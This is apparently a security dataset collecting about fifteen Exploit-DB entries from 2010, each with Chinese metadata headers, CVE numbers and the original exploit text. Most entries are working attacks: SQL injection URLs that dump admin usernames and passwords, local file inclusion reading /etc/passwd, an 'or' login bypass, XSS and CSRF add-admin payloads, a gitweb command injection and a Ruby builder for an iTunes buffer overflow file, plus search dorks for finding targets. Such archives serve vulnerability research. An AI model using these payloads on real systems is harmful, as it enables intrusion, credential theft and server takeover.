QLWD/code_shield huggingface dataset:
标题: Softbiz Jobs - 'news_desc' SQL Injection EDB-ID: 11518 CVE: 2010-0758 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-22 漏洞利用脚本: Softbiz Jobs ( news_desc) SQL Injection Vulnerability

########################### 
Author    : Baybora

Homepage  : http://www.1923turk.com 

Blog      : http://baybora.wordpress.com/

Script    : softbizscripts

Download  : http://www.softbizscripts.com/

########################### 
  
Exploat  :news_desc.php?id=SQL 
   

-4+union+select+1,concat(username,0x3a,password),3,4,5+from+sblnk_admin--
  
  
  
http://server/news_desc.php?id=-4+union+select+1,concat(username,0x3a,password),3,4,5+from+sblnk_admin--
  
 
http://xxxx/admin
 
  
##############################################################  
# Greetz: Manas58 - Gamoscu - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO  
############################################################## URL: https://www.exploit-db.com/exploits/11518
标题: Ero Auktion 2010 - 'news.php' SQL Injection EDB-ID: 11522 CVE: 2010-0723 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-22 漏洞利用脚本: ----------------------------Information----------------------------------------
+Autor : Easy Laster
+Date   : 21.10.2010
+Script  : Ero Auktion 2010 SQL Injection news.php
+Download : -----
+Price : 39,90€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor.
--------------------------------------------------------------------------------
 ___ ___ ___ ___                     _ _                         _         _
| | |   |   | | |___ ___ ___ ___ ___|_| |_ _ _ ___ ___ ___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _|  _| |  _| | |___| . |  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|_| |_|_| |_  |   |  _|_| |___|_| |___|___|_|
                                          |___|   |_|         |___|
--------------------------------------------------------------------------------
+Vulnerability : www.Site.com/news.php?id=[SQL]
+Exploitable   : www.Site.com/flashauktion2010/news.php?id=11111111+union+select
+1,2,concat%28name,0x3a,password%29,4,5+from+users#
-------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11522
标题: vBSEO 3.1.0 - Local File Inclusion EDB-ID: 11526 CVE: 2010-1077 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-22 漏洞利用脚本: ======================================================================
        [»] vBseo v3.1.0 Local File Include Vulnerability
======================================================================

    [»] Script:             [ vBseo ]
    [»] Language:           [ PHP ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & Pentestlabs.Com ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://server/[path]/vbseo.php?vbseoembedd=1&vbseourl=[LFI]

Author: ViRuSMaN <-

########################################################################### URL: https://www.exploit-db.com/exploits/11526
标题: Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion EDB-ID: 11511 CVE: 2010-1081 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-19 漏洞利用脚本: [!]===========================================================================[!]

[~] Joomla Component com_communitypolls LFI Vulnerability 
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 16 February, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.corejoomla.com/
[+] Price : free
[+] Vulnerability : LFI
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://www.corejoomla.com/downloads/community-polls/24-comcommunitypollsv1-5-2.html
[+] Version : 1.5.2 maybe lower also affected 

[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_communitypolls&controller=[INDONESIANCODER]

[ XpL ]

../../../../../../../../../../../../../../../etc/passwd%00

[ d3m0 ]

http://server/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00


etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah,senot,all INDONESIANCODER MEMBERS
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Rawk !
[+] rm -rf 

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure ..
[+] e0f URL: https://www.exploit-db.com/exploits/11511
标题: Arab Cart 1.0.2.0 - Multiple Vulnerabilities EDB-ID: 11524 CVE: 2010-0725 2010-0724 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-22 漏洞利用脚本: ========================================================================================                  
| # Title    : Arab Cart Version 1.0.2.0 Mullti Vulnerability            
| # Author   : indoushka                                                               
| # email    : indoushka@dgsn.dz                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -(00213771818860)                                                                              |
| # Script   : Copyright ArabCART © .2010     
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti    
|                                                                  
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1- XSS
 
http://server/arabCart/showimg.php?id=<img+src=http://server/acrobat.gif+onload=alert(213771818860)>&sid=8207c6aca4d21740c20f51527ccb3f7a
 
 2- SQL injection
 
 http://server/arabCart/showimg.php?id=%00'
 
 3- Blind SQL/XPath injection
 
 http://server/arabCart/showimg.php?id=8+and+31337-31337=0+--+ 

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net   
-------------------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11524
标题: Ero Auktion 2.0 - 'news.php' SQL Injection EDB-ID: 11521 CVE: 2010-0723 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-22 漏洞利用脚本: ----------------------------Information----------------------------------------
+Autor : Easy Laster
+Date   : 21.10.2010
+Script  : Ero Auktion V.2.0 SQL Injection news.php
+Download : -----
+Price : 34,90€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor.
--------------------------------------------------------------------------------
 ___ ___ ___ ___                     _ _                         _         _
| | |   |   | | |___ ___ ___ ___ ___|_| |_ _ _ ___ ___ ___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _|  _| |  _| | |___| . |  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|_| |_|_| |_  |   |  _|_| |___|_| |___|___|_|
                                          |___|   |_|         |___|
--------------------------------------------------------------------------------
+Vulnerability : www.Site.com/news.php?id=[SQL]
+Exploitable   : www.site.com/flashauktion/news.php?id=11111111+union+select+1,
2,concat%28name,0x3a,password%29,4,5+from+users
-------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11521
标题: WSC CMS - Authentication Bypass EDB-ID: 11507 CVE: 2010-0698 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-19 漏洞利用脚本: ------------------------------------------------------
------------------------------------------------------

 _____  _                                
|  __ \| |                               
| |__) | |__   ___ _ __   ___  _ __ ___  
|  ___/| '_ \ / _ \ '_ \ / _/\| '_ ` _ \              
| |    | | | |  __/ | | | (_) | | | | | |             
|_|    |_| |_|\___|_| |_|\/__/|_| |_| |_|             

                                                      
------------------------------------------------------
------------------------------------------------------

############### WSC CMS (Bypass) SQL Injection Vulnerability ###################################
#
#       Author : Phenom
#       
#       mail : sys.phenom.sys[at]gmail[dot]com
#
#       Dork : Realizzato con WSC CMS  by Dynamicsoft 
#
################################################################################################

####### Exploit ################################################################################
#
#     1- http://server/public/backoffice 
# 
#     2- login with "admin" as user name and 'or' as password 
#
################################################################################################ URL: https://www.exploit-db.com/exploits/11507
标题: Fonality trixbox 2.2.4 - 'PhonecDirectory.php' SQL Injection EDB-ID: 11508 CVE: 2010-0702 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-19 漏洞利用脚本: # Software Link: http://trixbox.org/downloads
# Version: 2.2.4
# Code : 
http://server/cisco/services/PhoneDirectory.php?ID=1 [SQL INJECTION]

Example (Grab users / password hashes from sugarcrm) 
http://server/cisco/services/PhoneDirectory.php?ID=1' UNION SELECT id,user_hash AS 'first_name',last_name,phone_home,user_name AS 'phone_work',user_hash AS 'phone_mobile',phone_other FROM users WHERE 1='1' GROUP BY 'id


PhoneDirectory.php vulnerable code:
# If the variable "ID" is passed in through the GET string, then display
# extension, phone number and cell phone number for that record with the dial
# key functionality
if ($ID) {
 $PersonDirectoryListing = "<CiscoIPPhoneDirectory>\n";

 $Query = "SELECT id, first_name, last_name, phone_home, phone_work, phone_mobile, phone_other ";
 $Query .= "FROM contacts WHERE id = '$ID' ";
 $Query .= "ORDER BY last_name ";
 $SelectPersonInfo = mysql_query($Query,$ConnectionSuccess);

 ...

}

#norslacker [at] gmail [dot] com URL: https://www.exploit-db.com/exploits/11508
标题: TimeClock 0.99 - Cross-Site Request Forgery (Add Admin) EDB-ID: 11516 CVE: 2010-0707 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-20 漏洞利用脚本: ==============================================================================
        [»] ~ Note : [ Tribute to the martyrs of Gaza . ]
==============================================================================
        [»] TimeClock Remote Add Admin Exploit
==============================================================================

    [»] Script:             [ TimeClock ]
    [»] Language:           [ PHP ]
    [»] Site page:          [ timeclock-software is a free open-source application released under the GP. ]
    [»] Download:           [ http://www.hormiga.org/zonamac/descargas/timeclock-software.zip ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & Pentestlabs.Com ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

<html>
<head>
<title>TimeClock Remote Add Admin Exploit[By:MvM]</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>

<form method="post" action="http://localhost/scripts/add_user.php">
<table border="1">
<tr>
<td align="center"><b>Adding User</b></td>
</tr>
<tr>
<td>
<table>
<tr>
<td align="right">First Name:&nbsp;</td><td align="left"><input type="text" name="fname" size="30"></td>
</tr>
<tr>
<td align="right">Last Name:&nbsp;</td><td align="left"><input type="text" name="lname" size="30"></td>
</tr>
<tr>
<td align="right">Access Level:&nbsp;</td>
<td>
<select name="access_level">
<option value="Administrator">Administrator</option>
<option value="User">User</option>
</select>
</td>
</tr>
<tr>
<td align="right">Username:&nbsp;</td><td align="left"><input type="text" name="u_name" size="30"></td>
</tr>
<tr>
<td align="right">Password:&nbsp;</td><td align="left"><input type="text" name="user_password" size="30"></td>
</tr>
<tr>
<td>&nbsp;</td><td><input type="submit" name="submit" value="Add" class="button">&nbsp;<input type="submit" name="cancel" value="Cancel" class="button"></td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</body>
</html>

Author: ViRuSMaN <-

########################################################################### URL: https://www.exploit-db.com/exploits/11516
标题: gitWeb 1.5.2 - Remote Command Execution EDB-ID: 11497 CVE: 2008-5517 类型: REMOTE 平台: LINUX 发布日期: 2010-02-18 漏洞利用脚本: # Exploit Title: gitWeb remote command execution
# Date: 2009.06.19
# Author: S2 Crew [Hungary]
# Software Link: -
# Version: GIT 1.5.2
# Tested on: debian linux, GIT 1.5.2
# CVE: CVE-2008-5516 - CVE-2008-5517

# Code:

# The cgi script doesn't show the command output *blind command execution ;)*
# Vulnerable functions in gitweb.cgi: git_snapshot(), git_search(), git_object()


sub git_object {
        # object is defined by:
        # - hash or hash_base alone
        # - hash_base and file_name
        my $type;

        # - hash or hash_base alone
        if ($hash || ($hash_base && !defined $file_name)) {
                my $object_id = $hash || $hash_base;

                my $git_command = git_cmd_str();
                open my $fd, "-|", "$git_command cat-file -t $object_id 2>/dev/null"
                        or die_error('404 Not Found', "Object does not exist");
                $type = <$fd>;
                chomp $type;
                close $fd
                        or die_error('404 Not Found', "Object does not exist");

        # - hash_base and file_name

# Example
http://server/cgi-bin/gitweb.cgi?p=sample.git/.git;a=object;f=program.c;h=e69de29bb2d1d6434b8b29ae775ad8c2e48c5391|`touch$IFS/tmp/file.txt`|;hb=9adaf5b35bb6415497d23f089660567227ea3785 URL: https://www.exploit-db.com/exploits/11497
标题: Joomla! Plugin Core Design Scriptegrator - Local File Inclusion EDB-ID: 11498 CVE: 2010-0760 2010-0759 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-18 漏洞利用脚本: # Exploit Title: Core Design Scriptegrator plugin for Joomla! 1.5 file inclusion
# Author: S2 Crew [Hungary]
# Tested on: Debian Linux, Apache, Joomla! 1.5

# Code:

There's a file called jsloader.php which takes an array of file names
from the HTTP GET parameters and calls include() on every one of them.

-----------------8<-----------------------------------------------
<?php
/**
 * Core Design Scriptegrator plugin for Joomla! 1.5
 */

define('DS', DIRECTORY_SEPARATOR);
$dir = dirname(__FILE__);

$files = array();
if (isset($_GET['files']) && $_GET['files']) $files = $_GET['files'];

if (extension_loaded('zlib') && !ini_get('zlib.output_compression')) @ob_start('ob_gzhandler');

header("Content-type: application/x-javascript");
header('Cache-Control: must-revalidate');
header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 86400) . ' GMT');

foreach ($files as $file) {
        if (is_file($file)) {
                include($file);
                echo "\n";
        }
}
?>
-----------------8<-----------------------------------------------

The problem is that the only protection is the is_file() call (therefore it cannot
be used for remote file inclusion), so it's trivial to exploit this vulnerability to
execute the PHP interpreter on any file on the target system the httpd user can read.

Example:
http://server/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd URL: https://www.exploit-db.com/exploits/11498
标题: Erotik Auktionshaus - 'news.php' SQL Injection EDB-ID: 11489 CVE: 2010-0720 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-17 漏洞利用脚本: ########################################################################
 ##Erotik Auktionshaus SQL Injection news.php                          ##
 ########################################################################
 ########################################################################
 ## _                     _     _                   _                  ##
 ##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
 ##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
 ##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
 ##                                                                    ##
 ########################################################################
##########################################################################
#Script: Erotik Auktionshaus news.php                                    #
#Vulnerabilities [ SQL Injection ]                                       #
#Language: [ PHP ]                                                       #
#Download: [ buy this script ]                                           #
#Founder: [ ea$y laster ]                                                #
#Peace to [ -tmh- ,0qwl ,Crypter ,Dr.ChAoS ,dremicz ,eddy14 ,HANNIBAL ]  #
#[ Lidloses_Auge ,n00bor, Rip ,Sens0r ,-=Player=-]                       #
#Price: [ Commercial License EUR 149.00 €                                #
#DEMO : http://xmedien.e-ee.de/auktion-e/                                #
#############################################################################
#http://server/news.php?id=-1+union+select+1,2,password,4,5+from+users+--#
############################################################################# URL: https://www.exploit-db.com/exploits/11489
标题: Auktionshaus Gelb 3 - 'news.php' SQL Injection EDB-ID: 11488 CVE: 2010-0721 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-17 漏洞利用脚本: ########################################################################
 ##AuktionshausGelb V.3 SQL Injection news.php                         ##
 ########################################################################
 ########################################################################
 ## _                     _     _                   _                  ##
 ##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
 ##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
 ##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
 ##                                                                    ##
 ########################################################################
##########################################################################
#Script: Auktionshaus Gelb V.3                                           #
#Vulnerabilities [ SQL Injection ]                                       #
#Language: [ PHP ]                                                       #
#Download: [ buy this script ]                                           #
#Founder: [ ea$y laster ]                                                #
#Peace to [ -tmh- ,0qwl ,Crypter ,Dr.ChAoS ,dremicz ,eddy14 ,HANNIBAL ]  #
#[ Lidloses_Auge ,n00bor, Rip ,Sens0r ,-=Player=-]                       #
#Price: [ Commercial License EUR 249.90 €                                #
#DEMO : http://xmedien.e-ee.de/auktion3/                                 #
#############################################################################
#http://server/news.php?id=-1+union+select+1,2,password,4,5+from+users+--#
############################################################################# URL: https://www.exploit-db.com/exploits/11488
标题: Apple iTunes 9.0.1 - '.pls' Handling Buffer Overflow EDB-ID: 11491 CVE: 2009-2817 类型: LOCAL 平台: MULTIPLE 发布日期: 2010-02-17 漏洞利用脚本: # Exploit Title: iTunes .pls file handling buffer overflow
# Date: 2009.12.20
# Author: S2 Crew [Hungary]
# Software Link: -
# Version: 9.0
# Tested on: OSX 10.5.8, Windows XP SP2  (/GS flag, DOS)
# CVE: CVE-2009-2817

# Code:

#!/usr/bin/env ruby

SETJMP = 0x92F04224
JMP_BUF = 0x8fe31290
STRDUP = 0x92EED110
# 8fe24459 jmp *%eax
JMP_EAX = 0x8fe24459

def make_exec_payload_from_heap_stub()
frag0 =
"\x90" + # nop
"\x58" + # pop eax
"\x61" + # popa
"\xc3" # ret
frag1 =
"\x90" + # nop
"\x58" + # pop eax
"\x89\xe0" + # mov eax, esp
"\x83\xc0\x0c" + # add eax, byte +0xc
"\x89\x44\x24\x08" + # mov [esp+0x8], eax
"\xc3" # ret
exec_payload_from_heap_stub =
frag0 +
[SETJMP, JMP_BUF + 32, JMP_BUF].pack("V3") +
frag1 +
"X" * 20 +
[SETJMP, JMP_BUF + 24, JMP_BUF, STRDUP,
JMP_EAX].pack("V5") +
"X" * 4
end

payload_cmd = "hereisthetrick"
stub = make_exec_payload_from_heap_stub()
ext = "A" * 59
stub = make_exec_payload_from_heap_stub()
exploit = ext + stub + payload_cmd

# pls file format

file = "[playlist]\n"
file += "NumberOfEntries=1\n"
file += "File1=http://1/asdf." + exploit + "\n"
file += "Title1=asdf\n"
file += "Length1=100\n"
file += "Version=2" + '\n'

File.open('poc.pls','w') do |f|
f.puts file
f.close
end URL: https://www.exploit-db.com/exploits/11491
标题: Pogodny CMS - SQL Injection EDB-ID: 11473 CVE: 2010-0671 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-16 漏洞利用脚本: # Exploit Title: [Pogodny CMS SQL injection]
# Tested on: [freebsd / ubuntu]

============ { Ariko-Security - Advisory #2/2/2010 } =============

      SQL injection vulnerability in Pogodny CMS


Vendor's Description of Software:
# http://www.cms.michalin.pl/moduly/pogodny/  (PL)


Dork:
#pogodny CMS

Application Info:
# Name: pogodny CMS
# Versions: ALL

Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: High

Fix: 
# N/A Vendor notified 08.02.2010

It was found that "pogodny CMS" does not validate properly the "id" parameter
value.

Solution:
# Input validation of "id" parameter should be corrected.


Vulnerability:
# http://server/?modul=niusy&id=61[Sqli]

Credit:
# Discoverd By: MG
# Website: http://Ariko-security.com
# Contacts: support[-at-]ariko-security.com


Ariko-Security
vuln@ariko-security.com
tel.: +48512946012 (Mo-Fr 10.00-20.00 CET) URL: https://www.exploit-db.com/exploits/11473